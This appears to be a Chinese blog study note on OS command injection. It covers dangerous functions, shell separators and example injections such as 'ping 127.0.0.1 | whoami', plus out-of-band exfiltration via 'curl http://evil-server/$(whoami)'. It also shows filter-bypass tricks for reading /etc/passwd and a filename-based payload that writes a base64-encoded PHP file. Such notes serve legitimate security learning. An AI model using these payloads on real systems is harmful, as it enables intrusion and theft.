首页 > 其他分享 >命令执行

命令执行

时间:2024-07-04 23:20:18浏览次数:18  
标签:语句 前面 ping 命令 ls 执行 whoami

基础概念

命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。

危险函数

php

system
exec
passthru
shell_exec
popen
proc_open

Python

system
popen
subprocess.call
spawn

Java

java.lang.Runtime.getRuntime().exec(command)

命令注入执行符号

Windows 系统支持的管道符如下所示:

  1. |: 直接执行后面的语句。例如: ping 127.0.0.1 | whoami
  2. ||: 如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如: ping 2 || whoami
  3. &: 如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如: ping 127.0.0.1 & whoami
  4. &&: 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如: ping 127.0.0.1 && whoami

Linux 系统支持的管道符如下所示:

  1. ;: 执行完前面的语句再执行后面的。例如: ping 127.0.0.1; whoami
  2. |: 显示后面语句的执行结果。例如: ping 127.0.0.1 | whoami
  3. ||: 当前面的语句执行出错时,执行后面的语句。例如: ping || whoami
  4. &: 如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如: ping 127.0.0.1 & whoami
  5. &&: 如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如: ping 127.0.0.1 && whoami

无回显技巧

  • bash反弹shell
  • DNS带外数据
  • http带外
    • curl http://evil-server/$(whoami)
    • wget http://evil-server/$(whoami)
  • 无带外时利用 sleep 或其他逻辑构造布尔条件

绕过手法

空格

  • < 符号 cat<123
  • \t / %09
  • ${IFS} 其中{}用来截断,比如cat$IFS2会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串

黑名单绕过

  • a=l;b=s;$a$b
  • base64 echo "bHM=" | base64 -d
  • /?in/?s => /bin/ls
  • 连接符 cat /etc/pass'w'd
  • 未定义的初始化变量 cat$x /etc/passwd

长度限制

ls命令利用

ls -t 是 Linux/Unix 系统中 ls 命令的一个常用选项。它的作用是:

  1. 按修改时间排序ls -t 会按照文件或目录的修改时间进行排序,最新修改的文件或目录会排在最前面。

注意因为是最新的在最前面所以是反过来的

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

通配符利用

通配符*,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

>ls
>lss
>lsss
>1
*s       (等同于命令: ls lss lsss)

但是注意使用*要确保当前文件夹下文件名无干扰

文件名寻找

使用正确的通配符

* 0到无穷个任意字符
? 一个任意字符
[ ] 一个在括号内的字符,e.g. [abcd]
[ - ] 在编码顺序内的所有字符
[^ ] 一个不在括号内的字符

标签:语句,前面,ping,命令,ls,执行,whoami
From: https://www.cnblogs.com/Ho1dF0rward/p/18284886

相关文章

  • 海康VM应用FAQ 1.2 全局脚本--方案加载后自动执行某流程
    【需求描述】VM方案加载成功后,自动执行某个流程。【应用场景】每次上电打开软件后,告知上位机软件准备就绪的信号;监控VM软件的运行状态,判断软件是否有奔溃,即Vm方案加载后连续运行某一流程,与上位机进行交互(与通信的心跳管理类似,不同的是通信的心跳只能监控通信是否断开,且仅为......
  • 当管理和维护 Active Directory 环境时,有一些基础的 PowerShell 命令可以帮助进行常规
    当管理和维护ActiveDirectory环境时,有一些基础的PowerShell命令可以帮助进行常规的检查和管理操作。以下是一些常用的基础检查命令示例:1.获取特定用户信息powershellCopyCode#获取特定用户的基本信息Get-ADUser-Identity"username"这个命令用于获取特定用户的基本......
  • springboot 中每分钟执行一次的 cron 表达式怎么写
    在SpringBoot中,如果你需要使用Cron表达式来每分钟执行一次任务,可以使用Spring的@Scheduled注解。Cron表达式是一种用来表示时间点的字符串,通过这些字符串,你可以非常灵活地定义任务的执行时间。Cron表达式格式Cron表达式由六个或七个字段组成,按以下顺序排列:秒(Seconds):0-59分......
  • Redis 的常用命令
    Redis是一个开源的内存数据结构存储,广泛应用于缓存、消息队列和实时数据分析等场景。下面是Redis的一些常用命令,按数据类型和功能分类列出。通用命令连接与认证:PING:测试服务器连接。PINGAUTH:认证服务器。AUTHpassword服务器信息:INFO:获取服务器的信息和统计......
  • Vue项目中created生命周期重复执行
    路由切换跳转时,发现一个页面的接口和页面展示每次进入都会调用created。keep-alive缓存页面没有效果,代码如下keep-alive页面<sectionclass="app-main"><transitionname="fade-transform"mode="out-in"><keep-alive:include=......
  • 拼多多面试 Linux下一个应用程序开始执行到main被调用之间经历了什么?
    在Linux系统中,一个应用程序从开始执行到main函数被调用之间经历了多个复杂的步骤。以下是一个详细的流程概述:1.加载器(Loader)当用户在终端或脚本中启动一个程序时,shell调用系统调用execve。这个系统调用将负责启动程序的执行。2.内核态操作内核处理execve系统调用并执行以下......
  • 在Linux中,想在命令行下访问某个网站,并且该网站域名还没有解析,如何做?
    在Linux命令行下访问某个网站,但遇到该网站域名还没有解析的情况,确实会带来一些挑战。因为域名解析是互联网访问的基本前提,它负责将人类可读的域名转换为计算机可理解的IP地址。如果域名没有解析,那么直接通过域名访问网站是不可能的。不过,可以尝试以下几种方法来间接处理或绕过这个......
  • 在Linux中,可以使用哪个命令查看系统的历史负载?
    在Linux中,你可以使用top命令或uptime命令来查看系统的历史负载。top命令:top命令是一个实时的系统监控工具,它可以显示系统进程的动态实时视图,包括CPU和内存的使用情况。要查看历史负载,你可以在top命令中按Shift+H(在某些版本中可能是H)来切换显示模式,显示所有CPU的平均负载,而不......
  • aruba控制器常见命令
    1.Showap-group                                     //查看AP组2.Showap-groupwithx_AP               //查看withx_AP组配置3.Showportstatus                              ......
  • 【p6spy】程序员开发利器P6spy——打印执行sql语句,mybatis、ibatis、Hibernate均可使
    一、前言在开发的过程中,总希望方法执行完了可以看到完整是sql语句,从而判断执行的是否正确,所以就希望有一个可以打印sql语句的插件。p6spy就是一款针对数据库访问操作的动态监控框架,他可以和数据库无缝截取和操纵,而不必对现有应该用程序的代码做任何修改。通过p6spy可......